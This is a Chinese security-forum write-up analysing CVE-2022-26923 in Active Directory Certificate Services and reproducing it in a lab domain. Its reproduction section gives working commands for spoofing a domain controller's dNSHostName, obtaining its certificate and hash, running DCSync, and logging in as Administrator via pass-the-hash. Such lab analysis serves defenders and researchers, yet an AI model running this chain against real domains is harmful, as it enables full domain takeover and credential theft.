问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
域内权限提升新姿势:CVE-2022–26923漏洞分析及复现
渗透测试
本文介绍微软最近爆出的域内权限提升漏洞CVE-2022–26923,漏洞触发位置位于AD CS组件中,在一些大型企业中普遍存在AD CS,具有一定危害。本文从漏洞介绍开始,到本地环境搭建,主要就是AD CS的安装(这部分可自行略过),接着就是漏洞的分析以及复现,在复现中考虑到实际情况,带入了一些自己的思考,并对一些脚本进行魔改。最后,笔者才疏学浅有错误望指出~
0x01 漏洞介绍 ========= 漏洞简介 ---- 漏洞类型: 特权提升 漏洞组件:活动目录证书服务(Active Directory Certificate Services,AD CS) 漏洞简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。 漏洞详情: [CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923) [CVE - CVE-2022-26923 (mitre.org)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26923) Active Directory证书服务 -------------------- Active Directory证书服务简称AD CS,是一种域内认证服务,是公钥基础设施PKI的一个实现,通过发行证书提供了文件加密、数字签名、身份验证等功能。其中,证书颁发机构(CA)负责颁发证书。 证书中包含的信息将一个主题身份与一个公共/私人密钥对结合起来。之后应用程序在操作时使用该密钥对作为该用户的身份证明。 证书申请流程大致过程: 1. 客户端产生密钥对 2. 客户端发送证书请求(CSR)给企业CA服务器 3. CA检查CSR中的内容,判断是否许可获得证书 4. CA通过许可,下发使用CA私钥签名的证书 ![Or7Cqg.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-24c893c6166974aa61b36855fd3535523d8ad427.png) 一些概念解释 ------ PKI:公钥基础设施,实现证书的产生、管理、存储、分发和撤销等功能 PKINIT:初始认证的公钥加密技术(可以在Kerberos认证的初始阶段中使用) 0x02 环境搭建 ========= > 可直接跳过此搭建部分 > 环境信息: > 域控Win2012 > 主机名: DC-WIN2012 > IP: 10.10.1.10 > 主机Win7 > 主机名: WIN7 > IP: 10.10.1.100 > 10.10.100.154(外网) 首先准备一台已搭建域服务的主机,这里选择Win2012版本。默认情况下AD CS组件未安装,因此参考[此篇文章](https://blog.csdn.net/lcl_xiaowugui/article/details/78746076)进行AD CS搭建。此外我还准备了一台WIN7作为域内主机模拟实际情况。 1 AD CS安装 --------- 点击`添加角色和功能`,默认下一步直到下图: ![Or7ldJ.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-6cb96f55a37e90f6e90e02f45bb3b29c8183fd79.png) 添加服务 ![Or71o9.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-67a227a4c773c6bd3ea1b776fc6bb07a71bdc45b.png) 2 AD CS配置 --------- 安装完成后需要进行 ![Or7KLF.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-7d6402b9a18372bb080c0bc8b0e55701a8f88b97.png) 选择服务,之前安装的三个服务 ![Or7QZ4.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-b2c723271e3f5182b331ebbd38a6729e01ddfc79.png) 指定CA名称,默认为`redteam-DC-WIN2012-CA` ![Or7HS0.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-9bd5b8054098f4e751817f845112fae9ab7ac437.png) 服务器身份验证证书 ![Or7oYn.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-b3692b43c11211859bf85893aad596c2bfca03e5.png) 开始配置 ![Or7blV.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-fa571ee06ae6f299dd9762e72d478920013645ff.png) 监测配置是否成功:在证书颁发机构中存在证书模板 ![Or7qyT.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-754add4846adbf80bd2f12be5ca9c4fde97b97d3.png) 0x03 漏洞分析 ========= 我们可以在证书模板中看到有多种类型,其中用户模板和计算机模板(本文重点)都允许客户端身份的验证。这意味着颁发的证书可以通过PKINIT Kerberos扩展用于针对KDC的身份验证。 在证书申请中,一个关键点就是**申请者身份证明**,用户账户的身份证明使用到用户主体名称(User Principal Name, UPN)作为证明。而基于计算机模板的机器账户将使用dNSHostName属性作为证明。 用户账户的证书申请 | UPN --------------- 用户账户根据模板申请证书时,用户账户的UPN将被嵌入到证书中进行识别。当我们使用该证书进行认证时,KDC会尝试将证书中的UPN映射到用户身上 用户证书模板的`msPKI-Certificate-Name-Flag`属性存在一个`CT_FLAG_SUBJECT_ALT_REQUIRE_UPN`标志位,用于指示UPN标志 [MS-CRTD: msPKI-Certificate-Name-Flag Attribute | Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-fa8c53507ae1) ![OrHYkj.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-f8d457cc2efa395eb7e0ff6b1493f3de8e8dd3b6.png) 那我们这里是否可以通过修改UPN进行身份伪造呢,答案是否定的,因为UPN是唯一的,域内不允许出现两个一样的UPN,做如下修改UPN的尝试:当我们进行修改时会提示约束冲突 ![OrHtts.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-16547fbcf3665894edb338f8494a7e30de290338.png) ```shell # 申请用户SPN certipy req 'redteam.com/user001:123.com@DC-WIN2012.redteam.com' -ca redteam-DC-WIN2012-CA -template 'User' ``` 机器账户的证书申请 | dNSHostName ----------------------- 基于计算机模板的机器账户进行证书申请时需要借助dNSHostName属性进行验证。CA下发的证书中会嵌入计算机的DNS属性。 同样的,我们会想能否修改dNSHostName来伪造身份呢,答案是可行的,究其原因在于**dNSHostName并不具有唯一性**,这一点可以在官方文档中翻阅到:[\[MS-ADTS\]: Uniqueness Constraints | Microsoft Docs](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/3c154285-454c-4353-9a99-fb586e806944) ,其中只提到了UPN和SPN的唯一性。 在证书模板的`msPKI-Certificate-Name-Flag`属性还存在一个`CT_FLAG_SUBJECT_ALT_REQUIRE_DNS`标志位,其指示CA将从Active Directory中请求者用户对象的DNS属性获得的值添加到已颁发证书的主题备用名称中。 ![OrH6AJ.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-b5669a5e50800fe4938797ab2c6e1ef2f33c4d44.png) 域控SPN唯一性 -------- 通过上面的分析,漏洞点就呼之欲出了:可以通过修改dNSHostName来伪造高权限用户,直接尝试修改dNSHostName测试下。 将TEST$机器账户的dNSHostName更改为`DC-WIN2012.redteam.com`,出现如下错误: ![OrHghR.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-84e70ca7d38b35d2b93b5796b6d834b29a7bb575.png) 原因是SPN的唯一性,当我们试图将TEST\\$机器账户的dNSHostName属性更新为`DC-WIN2012.redteam.com`时,域控制器试图更新SPN属性,该属性将被更新为包括`RestrictedKrbHost/DC-WIN2012.redteam.com`和`HOST/DC-WIN2012.redteam.com`,这将与域控制器的SPN属性冲突。 因此,通过更新TEST\\$机器账户的dNSHostName属性,当域控制器也试图更新TEST\\$机器账户的SPN时,我们间接地造成了约束性违反。 我们注意到,当我们更新dNSHostName时,只有两个值被更新和检查,即`RestrictedKrbHost/TEST.redteam.com`和`HOST/TEST.redteam.com`,其中包含dNSHostName属性值,解决措施就是删除TEST\\$机器账户中这两个SPN值,在域控同步更新时不造成冲突 ![OrHcN9.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-ff22f28a749a2de169f48296f4bf8051b1d99561.png) 此时,我们使用TEST\\$机器账户申请证书时,颁发的证书中将会包含填充篡改后的dNSHostName,即`DC-WIN2012.redteam.com`。TEST\\$机器账户申请的证书就具备域控的身份了。 0x04 漏洞复现 ========= 0 前置工作 ------ 实战环境下,攻击机也不能直接访问域控,只有在获取到域内用户后搭建代理才可以访问,因此这里先简单使用chisel搭建代理 ```shell # chisel搭建代理 chisel.exe server -p 9011 --socks5 ./chisel client 10.10.100.174:9011 sock5 # proxychains修改配置 socks5 127.0.0.1 1080 # 测试 proxychains nmap -sV -sT -p 80 10.10.1.10 ``` 已知信息: ```txt 域控Win2012 主机名: DC-WIN2012 IP: 10.10.1.10 域内主机Win7 主机名: WIN7 IP: 10.10.1.100 10.10.100.154(外网) 域名: redteam.com 用户: user001 密码: 123.com ``` 1 获取CA名称 -------- ### 0x01 任意域内主机查询 ```powershell # 查看是否存在证书驱动器 Get-PSDrive cert | ft -AutoSize # 列出本地机器账户的证书 Get-ChildItem Cert:\LocalMachine\Root\ ``` 参数解释: > Get-PSDrive:列出当前计算机中的所有驱动器 > ft -AutoSize:设置format格式 ![OyBzW9.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-ed3f7ea01430b06c7b361b941a052ee866c7bcd9.png) 参考: [How to get the Windows certificate details using PowerShell? (tutorialspoint.com)](https://www.tutorialspoint.com/how-to-get-the-windows-certificate-details-using-powershell) ### 0x02 域控上查看 条件: 1. 域控上查询 ```shell certutil certutil -config - -ping ``` ![OyBxJJ.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-fe3d8ed6b45a4fc410fcef3a378a316013ab1fb5.png) ![OyBvi4.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-77179c823c36ad84e115dbe9e36f0c97b00e9c80.png) ### 0x03 合理猜测 根据域控主机名和域名进行猜测 ```txt 域控主机名:DC-WIN2012 域名:redteam.com CA名称:redteam-DC-WIN2012-CA ``` 2 构造合适的机器账户 ----------- ### 0x01 魔改addcomputer.py创建机器账户 在获取到普通域用户的权限后,使用[Impacket](https://github.com/SecureAuthCorp/impacket)工具包中的`addcomputer.py`脚本创建一个机器账户,命名为WUHU,密码设置为Passw0rd 在上述分析中,需要修改部分SPN值,而原版本的addcomputer.py脚本中spn设置了`RestrictedKrbHost/[COMPUTERNAME].redteam.com`和`HOST/[COMPUTERNAME].redteam.com`两个SPN值,这里需要对`addcomputer.py`进行魔改下,将这两个SPN值注释掉,避免间接约束 ![Orbk3q.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-5a37d49da6998da7cd44ad82671bc1a5d8fca399.png) 接着,并且修改机器账户的dNSHostName,用于伪造域控机器账户`DC-WIN2012$`,其中`DC-WIN2012`是域控主机名 ![OrHzDS.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-115ffbd7c333433b3b18b2663d27e65f0be756db.png) 魔改好后,直接使用addcomputer.py添加机器账户,命令如下: ```shell # 创建机器账户 proxychains python3 addcomputer.py redteam.com/user001:123.com -method LDAPS -computer-name WUHU\$ -computer-pass Passw0rd -dc-ip DC-WIN2012.redteam.com ``` ![OrbSHg.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-09521a9b0004fdf00f93d13e8576e878f09f6183.png) ### 0x02 使用bloodyAD工具 [bloodyAD](https://github.com/CravateRouge/bloodyAD)工具是一个Active Directory权限提升框架 **判断用户能否创建机器账户** ```shell # 判断用户能否创建机器账户 proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'DC=redteam,DC=com' ms-DS-MachineAccountQuota ``` 返回时表示该用户最多可以创建10个机器账户 ![OyDJYQ.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-e805fef137a5d5230ca9cb2cfc908ebb212a8238.png) **创建机器账户** ```shell proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 addComputer bloodyAD 'Passw0rd' ``` ![OyDFeK.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-89c1d7d539b4870bbc74270d312f4cdd462a05f6.png) 检查下,确实创建成功,不过没有预先设置dNSHostName和SPN ![OyDkdO.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-75f2b9875eece2f4e7645c493bed7585dd8a826e.png) **添加机器账户的dNSHostName** 需要指定`可辩别名称(DistinguishedName, DN)`, ```shell # 设置DNSHostName proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=bloodyAD,CN=Computers,DC=redteam,DC=com' DNSHostName '["DC-WIN2012.redteam.com"]' # 尝试修改SPN【无效】 proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 setAttribute 'CN=TEST,CN=Computers,DC=redteam,DC=com' servicePrincipalName 'test1/test2' ``` ![OyDPL6.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-adf55e59be9069f5608acca799dbc83b95e3a179.png) **查询机器账户的DNSHostName** ```shell proxychains python3 bloodyAD.py -d redteam.com -u user001 -p '123.com' --host 10.10.1.10 getObjectAttributes 'CN=TEST,CN=Computers,DC=redteam,DC=com' dnshostname ``` ![OyDCsx.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-bc48309f2569c06f2cee21525c2a83beb0357319.png) 3 申请证书 ------ 使用[Certipy](https://github.com/ly4k/Certipy)工具申请基于计算机模板的证书,这里的`redteam-DC-WIN2012-CA`在前面的AD CS配置中有设置到 ```shell # 使用Certipy为TEST$账户申请证书 proxychains certipy req 'redteam.com/WUHU$:Passw0rd@DC-WIN2012.redteam.com' -ca 'redteam-DC-WIN2012-CA' -template 'Machine' ``` ![Orb9EQ.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-1ee29a29caac57e7c06c1bef0bcec190298490c0.png) 4 检索Hash生成票据 ------------ 使用该证书进行认证,Certipy工具检索到了`DC-WIN2012$`的NTLM Hash。 ```shell proxychains certipy auth -pfx dc-win2012.pfx -username DC-WIN2012$ -domain redteam.com -dc-ip 10.10.1.10 ``` ![OrbCNj.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-f348a6797efd0992fdd123f3bb5ba71cb45c4e19.png) 5 DCSync攻击 ---------- 接着我们可以使用`DC-WIN2012$`NTLM Hash来进行DCSync攻击,以转储所有用户的哈希值。 使用[Impacket](https://github.com/SecureAuthCorp/impacket)工具包中的`secretsdump.py`脚本执行DCSync攻击,导出域内用户Hash ```shell # 方法一:票据导出 export KRB5CCNAME=/root/Desktop/dc-win2012.ccache proxychains python3 secretsdump.py -k redteam.com/DC-WIN2012\$@dc-win2012.redteam.com -no-pass -just-dc # 方法二:Hash导出 proxychains python3 secretsdump.py -hashes :f460feac55234529a3188ecc8438d8fe redteam.com/DC-WIN2012\$@DC-WIN2012.redteam.com -no-pass -just-dc ``` ![OrbP4s.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-1077c06c2557520bb0de4cf59a158fa264a292ea.png) ![OrbFCn.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-79433870925fe2b1e931c88f15a6bc4de7e6a5f8.png) 可以得到administrator的Hash值,至此已经得到了最高的administrator权限 ```txt Administrator:500:aad3b435b51404eeaad3b435b51404ee:83a140d89e42046e8daf5394d386a69a::: ``` 6 后渗透 ----- 之后两种思路: 1. 直接使用administrator的NTLM Hash远程登录 2. 通过S4U2Self扩展协议申请服务票据,如CIFS等 第一种:直接远程登录 使用[Impacket](https://github.com/SecureAuthCorp/impacket)工具包中的wmiexec.py脚本 ```shell # Hash登录 python3 wmiexec.py -hashes :83a140d89e42046e8daf5394d386a69a redteam.com/administrator@10.10.1.10 -dc-ip 10.10.1.10 ``` ![OrbtbD.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-8af7e45c66d2779a9e684b6a1df9d3ca9c2e0caf.png) 第二种:票据登录 使用到[PKINITtools](https://github.com/dirkjanm/PKINITtools)工具中的gets4uticket.py脚本 ```shell # 申请票据,保存为Admin.ccache python3 gets4uticket.py kerberos+ccache://redteam.com\\DC-WIN2012\$:dc-win2012.ccache@dc-win2012.redteam.com cifs/dc-win2012.redteam.com@redteam.com Administrator@redteam.com Admin.ccache -v # 导入票据 export KRB5CCNAME=/root/Desktop/Admin.ccache # 使用票据登录 proxychains python3 wmiexec.py -k redteam.com/administrator@DC-WIN2012.redteam.com -no-pass -dc-ip 10.10.1.10 ``` ![OrbAg0.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-39e0c5b26d956a0a69dda3203701d37e8c3f5e85.png) 后续还可以进行权限维持:黄金票据、白银票据等,这里就不展开了,留给读者们动手尝试 0x05 参考文章 ========= [Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) | by Oliver Lyak | May, 2022 | IFCR](https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4) [CVE-2022-26923 - 安全更新程序指南 - Microsoft - Active Directory Domain Services Elevation of Privilege Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26923) [Active Directory 域权限提升漏洞(CVE-2022–26923)分析](http://www.ctfiot.com/40081.html) [Certified Pre-Owned. Active Directory Certificate Services… | by Will Schroeder | Posts By SpecterOps Team Members](https://posts.specterops.io/certified-pre-owned-d95910965cd2) [Oliver Lyak (@ly4k\_) / Twitter](https://twitter.com/ly4k_)
发表于 2022-05-23 09:36:26
阅读 ( 9650 )
分类:
漏洞分析
2 推荐
收藏
0 条评论
请先
登录
后评论
xigua
26 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!